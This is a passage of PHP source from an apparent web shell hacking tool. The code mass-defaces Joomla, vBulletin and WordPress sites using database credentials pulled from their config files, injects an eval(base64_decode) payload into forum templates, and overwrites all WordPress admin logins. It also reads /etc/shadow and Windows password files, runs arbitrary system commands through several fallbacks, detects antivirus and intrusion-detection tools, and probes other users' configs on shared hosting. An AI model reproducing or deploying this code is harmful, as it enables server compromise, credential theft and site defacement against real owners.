1128 curl_setopt($ch, CURLOPT_HEADER, 0);
1129 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
1130 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
1131 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
1132 $buffer = curl_exec($ch);
1133 $pos = strpos($buffer, "com_config");
1134 $url2 = $site_url . "/index.php?option=com_templates&task=edit_source&client=0&id=" . $template_name;
1135 $ch = curl_init();
1136 curl_setopt($ch, CURLOPT_URL, $url2);
1137 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1138 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1139 curl_setopt($ch, CURLOPT_HEADER, 0);
1140 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
1141 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
1142 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
1143 $buffer = curl_exec($ch);
1144 $hidden2 = entre2v2($buffer, '<input type="hidden" name="', '" value="1"', 6);
1145 echo "<tr align =center>";
1146 $url2 = $site_url . "/index.php?option=com_templates&layout=edit";
1147 $ch = curl_init();
1148 curl_setopt($ch, CURLOPT_URL, $url2);
1149 curl_setopt($ch, CURLOPT_POST, 1);
1150 curl_setopt($ch, CURLOPT_POSTFIELDS, "filecontent=" . $h . "&id=" . $template_name . "&cid[]=" . $template_name . "&" . $hidden2 . "=1&task=save_source&client=0");
1151 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1152 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1153 curl_setopt($ch, CURLOPT_HEADER, 0);
1154 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
1155 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
1156 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
1157 $buffer = curl_exec($ch);
1158 $pos = strpos($buffer, '<dd class="message message fade">');
1159 if ($pos === false) {
1160 echo ("<td><a href=http://" . $site . ">" . $site . "</a></td><td>Cannot Deface</td>");
1161 } else {
1162 echo ("<td><a href=http://" . $site . ">" . $site . "</a></td><td><font class=txt>Joomla Defaced</font></td>");
1163 }
1164 }
1165 echo "</tr>";
1166}
1167function changeindexvb($conf, $index) {
1168 $dol = '$';
1169 $username = entre2v2($conf, "['MasterServer']['username'] = '", "';");
1170 $password = entre2v2($conf, "['MasterServer']['password'] = '", "';");
1171 $dbname = entre2v2($conf, "se']['dbname'] = '", "';");
1172 $prefix = entre2v2($conf, "['Database']['tableprefix'] = '", "';");
1173 $localhost = entre2v2($conf, "['MasterServer']['servername'] = '", "';");
1174 $con = @mysql_connect($localhost, $username, $password);
1175 $db = @mysql_select_db($dbname, $con);
1176 $ss = mysql_query("SELECT * from `" . $prefix . "setting` WHERE varname='bburl'");
1177 $data = mysql_fetch_array($ss);
1178 echo "<tr align=center>";
1179 $index = str_replace('"', '\"', $index);
1180 $attack = "{\${eval(base64_decode(\'";
1181 $attack.= base64_encode("echo \"$index\";");
1182 $attack.= "\'))}}{\${exit()}}</textarea>";
1183 $query = "UPDATE " . $prefix . "template SET template = '$attack'";
1184 $result = @mysql_query($query, $con);
1185 if ($result) echo "<td><a href=" . $data["value"] . ">" . $data["value"] . "</a></td><td><font class=txt><blink>Vbulletin Forum Defaced Successfully</blink></font></td>";
1186 else echo "<td><a href=" . $data["value"] . ">" . $data["value"] . "</a></td><td><blink>Cannot Deface Vbulletin Forum</blink></td>";
1187 echo "<tr>";
1188}
1189function changeindexwp($conf, $index) {
1190 $dol = '$';
1191 $username = entre2v2($conf, "define('DB_USER', '", "');");
1192 $password = entre2v2($conf, "define('DB_PASSWORD', '", "');");
1193 $dbname = entre2v2($conf, "define('DB_NAME', '", "');");
1194 $prefix = entre2v2($conf, $dol . "table_prefix = '", "'");
1195 $host = entre2v2($conf, "define('DB_HOST', '", "');");
1196 $con = @mysql_connect($host, $username, $password);
1197 $db = @mysql_select_db($dbname, $con);
1198 $req1 = mysql_query("UPDATE `" . $prefix . "users` SET `user_login` = 'admin',`user_pass` = '$1$42REgxSR$.tLV4PSbQmCKsisyCSyhq.'");
1199 if ($req1) {
1200 $req = mysql_query("SELECT * from `" . $prefix . "options` WHERE option_name='home'");
1201 $data = mysql_fetch_array($req);
1202 $site_url = $data["option_value"];
1203 $req = mysql_query("SELECT * from `" . $prefix . "options` WHERE option_name='template'");
1204 $data = mysql_fetch_array($req);
1205 $template = $data["option_value"];
1206 $req = mysql_query("SELECT * from `" . $prefix . "options` WHERE option_name='current_theme'");
1207 $data = mysql_fetch_array($req);
1208 $current_theme = $data["option_value"];
1209 $useragent = "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";
1210 $url2 = $site_url . "/wp-login.php";
1211 $ch = curl_init();
1212 curl_setopt($ch, CURLOPT_URL, $url2);
1213 curl_setopt($ch, CURLOPT_POST, 1);
1214 curl_setopt($ch, CURLOPT_POSTFIELDS, "log=admin&pwd=123456789&rememberme=forever&wp-submit=Log In&testcookie=1");
1215 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1216 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1217 curl_setopt($ch, CURLOPT_HEADER, 0);
1218 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
1219 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
1220 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
1221 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
1222 $buffer = curl_exec($ch);
1223 $pos = strpos($buffer, "action=logout");
1224 $url2 = $site_url . '/wp-admin/theme-editor.php?file=index.php&theme=' . urlencode($template);
1225 curl_setopt($ch, CURLOPT_URL, $url2);
1226 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
1227 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1228 curl_setopt($ch, CURLOPT_HEADER, 0);
1229 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
1230 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
1231 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
1232 $buffer0 = curl_exec($ch);
1233 $_wpnonce = entre2v2($buffer0, '<input type="hidden" id="_wpnonce" name="_wpnonce" value="', '" />');
1234 $_file = entre2v2($buffer0, '<input type="hidden" name="file" value="', '" />');
1235 if (substr_count($_file, "index.php") != 0) $output.= "<tr align =center>";
1236 $url2 = $site_url . "/wp-admin/theme-editor.php";
1237 curl_setopt($ch, CURLOPT_URL, $url2);
1238 curl_setopt($ch, CURLOPT_POST, 1);
1239 curl_setopt($ch, CURLOPT_POSTFIELDS, "newcontent=" . $index . "&action=update&file=" . $_file . "&_wpnonce=" . $_wpnonce . "&submit=Update File");
1240 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1241 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1242 curl_setopt($ch, CURLOPT_HEADER, 0);
1243 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
1244 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
1245 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
1246 $buffer = curl_exec($ch);
1247 curl_close($ch);
1248 $pos = strpos($buffer, '<div id="message" class="updated">');
1249 $cond = 0;
1250 if ($pos === false) $output.= "<td><a href=" . $site_url . ">Site : " . $site_url . "</a></td><td>Cannot Deface</td>";
1251 else $output.= "<td><a href=" . $site_url . ">Site : " . $site_url . "</a></td><td><font class=txt>Wordpress Defaced Successfully</font></td>";
1252 } else $output.= "<td colspan=2> DB Error</td>";
1253 echo $output . "</tr>";
1254 global $base_path;
1255 unlink($base_path . 'COOKIE.txt');
1256}
1257function getDisabledFunctions() {
1258 if (!ini_get('disable_functions')) {
1259 return "None";
1260 } else {
1261 return @ini_get('disable_functions');
1262 }
1263}
1264function getFilePermissions($file) {
1265 $perms = fileperms($file);
1266 if (($perms & 0xC000) == 0xC000) {
1267 // Socket
1268 $info = 's';
1269 } elseif (($perms & 0xA000) == 0xA000) {
1270 // Symbolic Link
1271 $info = 'l';
1272 } elseif (($perms & 0x8000) == 0x8000) {
1273 // Regular
1274 $info = '-';
1275 } elseif (($perms & 0x6000) == 0x6000) {
1276 // Block special
1277 $info = 'b';
1278 } elseif (($perms & 0x4000) == 0x4000) {
1279 // Directory
1280 $info = 'd';
1281 } elseif (($perms & 0x2000) == 0x2000) {
1282 // Character special
1283 $info = 'c';
1284 } elseif (($perms & 0x1000) == 0x1000) {
1285 // FIFO pipe
1286 $info = 'p';
1287 } else {
1288 // Unknown
1289 $info = 'u';
1290 }
1291 // Owner
1292 $info.= (($perms & 0x0100) ? 'r' : '-');
1293 $info.= (($perms & 0x0080) ? 'w' : '-');
1294 $info.= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
1295 // Group
1296 $info.= (($perms & 0x0020) ? 'r' : '-');
1297 $info.= (($perms & 0x0010) ? 'w' : '-');
1298 $info.= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
1299 // World
1300 $info.= (($perms & 0x0004) ? 'r' : '-');
1301 $info.= (($perms & 0x0002) ? 'w' : '-');
1302 $info.= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
1303 return $info;
1304}
1305function filepermscolor($filename) {
1306 if (!@is_readable($filename)) return "<font class=readperm>" . getFilePermissions($filename) . "</font>";
1307 else if (!@is_writable($filename)) return "<font class=noperm>" . getFilePermissions($filename) . "</font>";
1308 else return "<font class=wrtperm>" . getFilePermissions($filename) . "</font>";
1309}
1310function yourip() {
1311 echo $_SERVER["REMOTE_ADDR"];
1312}
1313function phpver() {
1314 $pv = @phpversion();
1315 echo $pv;
1316}
1317function magic_quote() {
1318 echo get_magic_quotes_gpc() ? "<font class=txt>ON</font>" : "OFF";
1319}
1320function serverip() {
1321 echo getenv('SERVER_ADDR');
1322}
1323function serverport() {
1324 echo $_SERVER['SERVER_PORT'];
1325}
1326function safe() {
1327 global $sm;
1328 return $sm ? "ON :( :'( (Most of the Features will Not Work!)" : "OFF";
1329}
1330function serveradmin() {
1331 echo $_SERVER['SERVER_ADMIN'];
1332}
1333function systeminfo() {
1334 echo php_uname();
1335}
1336function curlinfo() {
1337 echo function_exists('curl_version') ? ("<font class=txt>Enabled</font>") : ("Disabled");
1338}
1339function oracleinfo() {
1340 echo function_exists('ocilogon') ? ("<font class=txt>Enabled</font>") : ("Disabled");
1341}
1342function mysqlinfo() {
1343 echo function_exists('mysql_connect') ? ("<font class=txt>Enabled</font>") : ("Disabled");
1344}
1345function mssqlinfo() {
1346 echo function_exists('mssql_connect') ? ("<font class=txt>Enabled</font>") : ("Disabled");
1347}
1348function postgresqlinfo() {
1349 echo function_exists('pg_connect') ? ("<font class=txt>Enabled</font>") : ("Disabled");
1350}
1351function softwareinfo() {
1352 echo getenv("SERVER_SOFTWARE");
1353}
1354function download() {
1355 $frd = $_GET['download'];
1356 $prd = explode("/", $frd);
1357 for ($i = 0;$i < sizeof($prd);$i++) {
1358 $nfd = $prd[$i];
1359 }
1360 @ob_clean();
1361 header("Content-type: application/octet-stream");
1362 header("Content-length: " . filesize($nfd));
1363 header("Content-disposition: attachment; filename=\"" . $nfd . "\";");
1364 readfile($nfd);
1365 exit;
1366}
1367function HumanReadableFilesize($size) {
1368 $mod = 1024;
1369 $units = explode(' ', 'B KB MB GB TB PB');
1370 for ($i = 0;$size > $mod;$i++) {
1371 $size/= $mod;
1372 }
1373 return round($size, 2) . ' ' . $units[$i];
1374}
1375function showDrives() {
1376 global $self;
1377 foreach (range('A', 'Z') as $drive) {
1378 if (is_dir($drive . ':\'))
1379 {
1380 $myd = $drive.":\";
1381 ?>
1382 <a href=javascript:void(0) onClick="changedir('dir',' < ? phpecho addslashes($myd); ?>')">
1383 <?php echo $myd; ?>
1384 </a>
1385 <?php
1386 }
1387}
1388}
1389function diskSpace() {
1390 return disk_total_space("/");
1391}
1392function freeSpace() {
1393 return disk_free_space("/");
1394}
1395function thiscmd($p) {
1396 $path = myexe('which ' . $p);
1397 if (!empty($path)) return $path;
1398 return false;
1399}
1400function mysecinfo() {
1401 function myparam($n, $v) {
1402 $v = trim($v);
1403 if ($v) {
1404 echo '<span><font size=3>' . $n . ': </font></span>';
1405 if (strpos($v, "
1406") === false) echo '<font class=txt size=3>' . $v . '</font><br>';
1407 else echo '<pre class=ml1><font class=txt size=3>' . $v . '</font></pre>';
1408 }
1409 }
1410 myparam('Server software', @getenv('SERVER_SOFTWARE'));
1411 if (function_exists('apache_get_modules')) myparam('Loaded Apache modules', implode(', ', apache_get_modules()));
1412 myparam('Open base dir', @ini_get('open_basedir'));
1413 myparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
1414 myparam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
1415 $temp = array();
1416 if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
1417 if (function_exists('mssql_connect')) $temp[] = "MSSQL";
1418 if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
1419 if (function_exists('oci_connect')) $temp[] = "Oracle";
1420 myparam('Supported databases', implode(', ', $temp));
1421 echo '<br>';
1422 if ($GLOBALS['os'] == 'Linux') {
1423 myparam('Distro : ', myexe("cat /etc/*-release"));
1424 myparam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href=javascript:void(0) onClick=\"getmydata('passwd')\">[view]</a>" : 'no');
1425 myparam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href=javascript:void(0) onClick=\"getmydata('shadow')\">[view]</a>" : 'no');
1426 myparam('OS version', @file_get_contents('/proc/version'));
1427 myparam('Distr name', @file_get_contents('/etc/issue.net'));
1428 myparam('Where is Perl?', myexe('whereis perl'));
1429 myparam('Where is Python?', myexe('whereis python'));
1430 myparam('Where is gcc?', myexe('whereis gcc'));
1431 myparam('Where is apache?', myexe('whereis apache'));
1432 myparam('CPU?', myexe('cat /proc/cpuinfo'));
1433 myparam('RAM', myexe('free -m'));
1434 myparam('Mount options', myexe('cat /etc/fstab'));
1435 myparam('User Limits', myexe('ulimit -a'));
1436 if (!$GLOBALS['safe_mode']) {
1437 $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
1438 $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
1439 $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
1440 echo '<br>';
1441 $temp = array();
1442 foreach ($userful as $item) if (thiscmd($item)) $temp[] = $item;
1443 myparam('Userful', implode(', ', $temp));
1444 $temp = array();
1445 foreach ($danger as $item) if (thiscmd($item)) $temp[] = $item;
1446 myparam('Danger', implode(', ', $temp));
1447 $temp = array();
1448 foreach ($downloaders as $item) if (thiscmd($item)) $temp[] = $item;
1449 myparam('Downloaders', implode(', ', $temp));
1450 echo '<br/>';
1451 myparam('HDD space', myexe('df -h'));
1452 myparam('Hosts', @file_get_contents('/etc/hosts'));
1453 }
1454 } else {
1455 $repairsam = addslashes($_SERVER["WINDIR"] . "
1456epair\sam");
1457 $hostpath = addslashes($_SERVER["WINDIR"] . "\system32\drivers\etc\hosts");
1458 $netpath = addslashes($_SERVER["WINDIR"] . "\system32\drivers\etc
1459etworks");
1460 $sampath = addslashes($_SERVER["WINDIR"] . "\system32\drivers\etc\lmhosts.sam");
1461 echo "<font size=3>Password File : </font><a href=" . $_SERVER['PHP_SELF'] . "?download=" . $repairsam . "><b><font class=txt size=3>Download password file</font></b></a><br>";
1462 echo "<font size=3>Config Files : </font><a href=javascript:void(0) onClick=\"fileaction('open','$hostpath')\"><b><font class=txt size=3>[ Hosts ]</font></b></a> <a href=javascript:void(0) onClick=\"fileaction('open','$netpath')\"><b><font class=txt size=3>[ Local Network Map ]</font></b></a> <a href=javascript:void(0) onClick=\"fileaction('open','$sampath')\"><b><font class=txt size=3>[ lmhosts ]</font></b></a><br>";
1463 $base = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir")) == "ON") ? "ON" : "OFF";
1464 echo "<font size=3>Open Base Dir : </font><font class=txt size=3>" . $base . "</font><br>";
1465 myparam('OS Version', myexe('ver'));
1466 myparam('Account Settings', myexe('net accounts'));
1467 myparam('User Accounts', myexe('net user'));
1468 }
1469 echo '</div>';
1470}
1471function myexe($in) {
1472 $out = '';
1473 if (function_exists('exec')) {
1474 @exec($in, $out);
1475 $out = @join("
1476", $out);
1477 } elseif (function_exists('passthru')) {
1478 ob_start();
1479 @passthru($in);
1480 $out = ob_get_clean();
1481 } elseif (function_exists('system')) {
1482 ob_start();
1483 @system($in);
1484 $out = ob_get_clean();
1485 } elseif (function_exists('shell_exec')) {
1486 $out = shell_exec($in);
1487 } elseif (is_resource($f = @popen($in, "r"))) {
1488 $out = "";
1489 while (!@feof($f)) $out.= fread($f, 1024);
1490 pclose($f);
1491 }
1492 return $out;
1493}
1494function exec_all($command) {
1495 $output = '';
1496 if (function_exists('exec')) {
1497 exec($command, $output);
1498 $output = join("
1499", $output);
1500 } else if (function_exists('shell_exec')) {
1501 $output = shell_exec($command);
1502 } else if (function_exists('popen')) {
1503 $handle = popen($command, "r"); // Open the command pipe for reading
1504 if (is_resource($handle)) {
1505 if (function_exists('fread') && function_exists('feof')) {
1506 while (!feof($handle)) {
1507 $output.= fread($handle, 512);
1508 }
1509 } else if (function_exists('fgets') && function_exists('feof')) {
1510 while (!feof($handle)) {
1511 $output.= fgets($handle, 512);
1512 }
1513 }
1514 }
1515 pclose($handle);
1516 } else if (function_exists('system')) {
1517 ob_start(); //start output buffering
1518 system($command);
1519 $output = ob_get_contents(); // Get the ouput
1520 ob_end_clean(); // Stop output buffering
1521
1522 } else if (function_exists('passthru')) {
1523 ob_start(); //start output buffering
1524 passthru($command);
1525 $output = ob_get_contents(); // Get the ouput
1526 ob_end_clean(); // Stop output buffering
1527
1528 } else if (function_exists('proc_open')) {
1529 $descriptorspec = array(1 => array("pipe", "w"), // stdout is a pipe that the child will write to
1530 );
1531 $handle = proc_open($command, $descriptorspec, $pipes); // This will return the output to an array 'pipes'
1532 if (is_resource($handle)) {
1533 if (function_exists('fread') && function_exists('feof')) {
1534 while (!feof($pipes[1])) {
1535 $output.= fread($pipes[1], 512);
1536 }
1537 } else if (function_exists('fgets') && function_exists('feof')) {
1538 while (!feof($pipes[1])) {
1539 $output.= fgets($pipes[1], 512);
1540 }
1541 }
1542 }
1543 pclose($handle);
1544 }
1545 return (htmlspecialchars($output));
1546}
1547$basedir = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir")) == "ON") ? "<font class=txt>ON</font>" : "OFF";
1548$etc_passwd = @is_readable("/etc/passwd") ? "Yes" : "No";
1549function getOGid($value) {
1550 if (!function_exists('posix_getegid')) {
1551 $user = @get_current_user();
1552 $uid = @getmyuid();
1553 $gid = @getmygid();
1554 $group = "?";
1555 $owner = $uid . "/" . $gid;
1556 return $owner;
1557 } else {
1558 $name = @posix_getpwuid(@fileowner($value));
1559 $group = @posix_getgrgid(@filegroup($value));
1560 $owner = $name['name'] . " / " . $group['name'];
1561 return $owner;
1562 }
1563}
1564function mainfun($dir) {
1565 global $ind, $directorysperator, $os;
1566 $mydir = basename(dirname(__FILE__));
1567 $pdir = str_replace($mydir, "", $dir);
1568 $pdir = str_replace("/", "", $dir);
1569 $files = array();
1570 $dirs = array();
1571 $odir = opendir($dir);
1572 while ($file = readdir($odir)) {
1573 if (is_dir($dir . '/' . $file)) {
1574 $dirs[] = $file;
1575 } else {
1576 $files[] = $file;
1577 }
1578 }
1579 $countfiles = count($dirs) + count($files);
1580 $dircount = count($dirs);
1581 $dircount = $dircount - 2;
1582 $myfiles = array_merge($dirs, $files);
1583 $i = 0;
1584 if (is_dir($dir)) {
1585 if (scandir($dir) === false) echo "<center><font size=3>Directory isn't readable</font></center>";
1586 else {
1587?><form method="post" id="myform" name="myform">
1588 <table id="maintable" style="width:100%;" align="center" cellpadding="3">
1589 <tr><td colspan="7"><center><div id="showmydata"></div></center></td></tr>
1590 <tr class=lines><td colspan="8" align="center"><font size="3">Listing folder <?php echo $dir; ?></font> (<?php echo $dircount . ' Dirs And ' . count($files) . ' Files'; ?>)</td>
1591 <tr height:12px;">
1592 <th>Name</th>
1593 <th>Size</th>
1594 <th>Permissions</th>
1595 <?php if ($os != "Windows") {
1596 echo "<th>Owner / Group</th>";
1597 } ?>
1598 <th>Modification Date</th>
1599 <th>Rename</th>
1600 <th>Download</th>
1601 <th style="width:2%;">Action</th>
1602 </tr>
1603 <?php
1604 foreach ($myfiles as $val) {
1605 $vv = addslashes($dir . $directorysperator . $val);
1606 $i++;
1607 if ($val == ".") {
1608?><tr class=lines><td><a href=javascript:void(0) onClick="changedir('dir','<?php echo addslashes($dir); ?>')"><font class=txt>[ . ]</font></a></td><td><font size=2>CURDIR</font></td>
1609 <td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir); ?></a></td>
1610
1611 <?php if ($os != 'Windows') {
1612 echo "<td align=center><font size=2>";
1613 echo getOGid($dir) . "</font></td>";
1614 }
1615?>
1616
1617 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($vv)); ?></font></td>
1618 <td></td><td></td><td></td></</tr><?php
1619 } else if ($val == "..") {
1620 $val = Trail($dir . $directorysperator . $val, $directorysperator);
1621 $vv = addslashes($val);
1622 if (empty($vv)) $vv = "/"; ?>
1623 <tr class=lines><td class='info'><a href=javascript:void(0) onClick="changedir('dir','<?php echo $vv; ?>')"><font class=txt>[ .. ]</font></a></td><td><font size=2>UPDIR</font></td>
1624 <td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($val); ?></a></td>
1625 <?php if ($os != 'Windows') {
1626 echo "<td align=center><font size=2>";
1627 echo getOGid($val) . "</font></td>";
1628 } ?>
1629 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($val)); ?></font></td>
1630 <td></td><td></td><td></td></tr><?php continue;
1631 } else if (is_dir($vv)) {
1632?>
1633 <tr class=lines>
1634 <td class='dir'><a href=javascript:void(0) onClick="changedir('dir','<?php echo $vv; ?>')">[ <?php echo $val; ?> ]</a></td>
1635 <td class='info'><font size=2>DIR</font></td>
1636
1637 <td class='info'><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir . $directorysperator . $val); ?></a></td>
1638 <?php if ($os != 'Windows') {
1639 echo "<td align=center><font size=2>";
1640 echo getOGid($val) . "</font></td>";
1641 } ?>
1642 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val)); ?></font></td>
1643 <td class="info"><a href=javascript:void(0) onClick="fileaction('rename','<?php echo $vv; ?>')"><font size=2>Rename</font></a></td>
1644 <td></td>
1645 <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val; ?>"></td>
1646 </tr></font>
1647 <?php
1648 } else if (is_file($vv)) {
1649?>
1650 <tr class=lines>
1651 <td class='file'><a href=javascript:void(0) onClick="fileaction('open','<?php echo $vv; ?>')"><?php if (("/" . $val == $_SERVER["SCRIPT_NAME"]) || ($val == "index.php") || ($val == "index.html") || ($val == "config.php") || ($val == "wp-config.php")) {
1652 echo "<font color=red>" . $val . "</font>";
1653 } else {
1654 echo $val;
1655 } ?></a> <?php if ($val == "index.php" || $val == "index.html") {
1656 if (strlen($ind) != 0) {
1657 echo "<a href=javascript:void(0) onClick=\"defacefun('$vv')\"><font color=red>( Deface IT )</font></a>";
1658 }
1659 } ?></td>
1660
1661 <td class='info'><font size=2><?php echo HumanReadableFilesize(filesize($dir . $directorysperator . $val)); ?></font></td>
1662
1663 <td class='info'><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir . $directorysperator . $val); ?></a></td>
1664
1665 <?php if ($os != 'Windows') {
1666 echo "<td align=center><font size=2>";
1667 echo getOGid($val) . "</font></td>";
1668 } ?>
1669 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val)); ?></font></td>
1670
1671 <td class="info"><a href=javascript:void(0) onClick="fileaction('rename','<?php echo $vv; ?>')"><font size=2>Rename</font></a></td>
1672 <td class="info"><a href="<?php echo $self; ?>?download=<?php echo $dir . $directorysperator . $val; ?>"><font size=2>Download</font></a>
1673 <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val; ?>"></td>
1674 </tr>
1675 <p>
1676 <?php
1677 }
1678 }
1679 echo "</table>
1680<div align='right' style='width:100%;' id=maindiv><BR><label><input type='checkbox' name='checkall' onclick='checkedAll();'> <font class=txt size=3>Check All </font></label>
1681<select class=sbox name=choice style='width: 100px;'>
1682 <option value=delete>Delete</option>
1683 <option value=chmod>Change mode</option>
1684 if(class_exists('ZipArchive'))
1685 { <option value=compre>Compress</option>
1686 <option value=uncompre>Uncompress</option> }
1687 </select>
1688
1689 <input type=button onClick=\"myaction(choice.value)\" value=Submit name=checkoption class=but></form></div>";
1690 }
1691 } else {
1692 echo "<p><font size=3>" . $_GET['dir'] . " is <b>NOT</b> a Valid Directory!<br /></font></p>";
1693 }
1694}
1695if (isset($_REQUEST["script"])) {
1696 $getpath = trim(dirname($_SERVER['SCRIPT_NAME']) . PHP_EOL);
1697?>
1698 <center><table><tr><td><a href=javascript:void(0) onClick="getdata('scserver')"><font class=txt size="4">| Use Server |</font></a></td>
1699 <td><a href=javascript:void(0) onClick="getdata('scphp')"><font class=txt size="4">| Use PHP |</font></a></td>
1700 </tr></table></center>
1701 <?php
1702} elseif (isset($_REQUEST["scserver"])) {
1703?><center><table><tr><td><a href=javascript:void(0) onClick="getdata('servermanuallyscript')"><font class=txt size="4">| Do It Manually |</font></a></td>
1704 <td><a href=javascript:void(0) onClick="getdata('serverscriptlocator')"><font class=txt size="4">| Do It Automatically |</font></a></td>
1705 </tr></table></center><?php
1706} else if (isset($_REQUEST['servermanuallyscript'])) {
1707?>
1708 <center>
1709 <form action="<?php echo $self; ?>" method="post">
1710 <textarea class="box" rows="16" cols="100" name="passwd"></textarea><br>
1711 <input type="button" OnClick="manuallyscriptfn('serverscriptlocator',passwd.value)" value="Get Config" class="but">
1712 </form>
1713 </center>
1714 <?php
1715} elseif (isset($_REQUEST['serverscriptlocator'])) {
1716 if ($os != "Windows") {
1717 $url = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
1718 $path = explode('/', $url);
1719 $url = str_replace($path[count($path) - 1], '', $url);
1720 if (isset($_REQUEST['passwd'])) {
1721 $getetc = trim($_REQUEST['passwd']);
1722 mkdir("dhanushSPT");
1723 chdir("dhanushSPT");
1724 $myfile = fopen("test.txt", "w");
1725 fputs($myfile, $getetc);
1726 fclose($myfile);
1727 echo "<table align=center border=1 style='width:60%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Username</font></td><td align=center><font size=4 >Script</font></td></tr>";
1728 $file = fopen("test.txt", "r") or exit("Unable to open file!");
1729 while (!feof($file)) {
1730 $s = fgets($file);
1731 $matches = array();
1732 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1733 $matches = str_replace("home/", "", $matches[1]);
1734 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/wp-config.php";
1735 $headers = get_headers($hs_status);
1736 if (strpos($headers[0], '200') == true) $hs_script = "Wordpress";
1737 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/blog/wp-config.php";
1738 $headers = get_headers($hs_status);
1739 if (strpos($headers[0], '200') == true) $hs_script = "Wordpress";
1740 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/configuration.php";
1741 $headers = get_headers($hs_status);
1742 if (strpos($headers[0], '200') == true) $hs_script = "Joomla";
1743 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/forum/includes/config.php";
1744 $headers = get_headers($hs_status);
1745 if (strpos($headers[0], '200') == true) $hs_script = "Vbulletin";
1746 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/core/includes/config.php";
1747 $headers = get_headers($hs_status);
1748 if (strpos($headers[0], '200') == true) $hs_script = "Vbulletin";
1749 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/inc/config.php";
1750 $headers = get_headers($hs_status);
1751 if (strpos($headers[0], '200') == true) $hs_script = "Mybb";
1752 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/conf_global.php";
1753 $headers = get_headers($hs_status);
1754 if (strpos($headers[0], '200') == true) $hs_script = "IPB";
1755 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/settings.php";
1756 $headers = get_headers($hs_status);
1757 if (strpos($headers[0], '200') == true) $hs_script = "SMF";
1758 $hs_status = $url . "dhanush/root/home/" . $matches . "/public_html/submitticket.php";
1759 $headers = get_headers($hs_status);
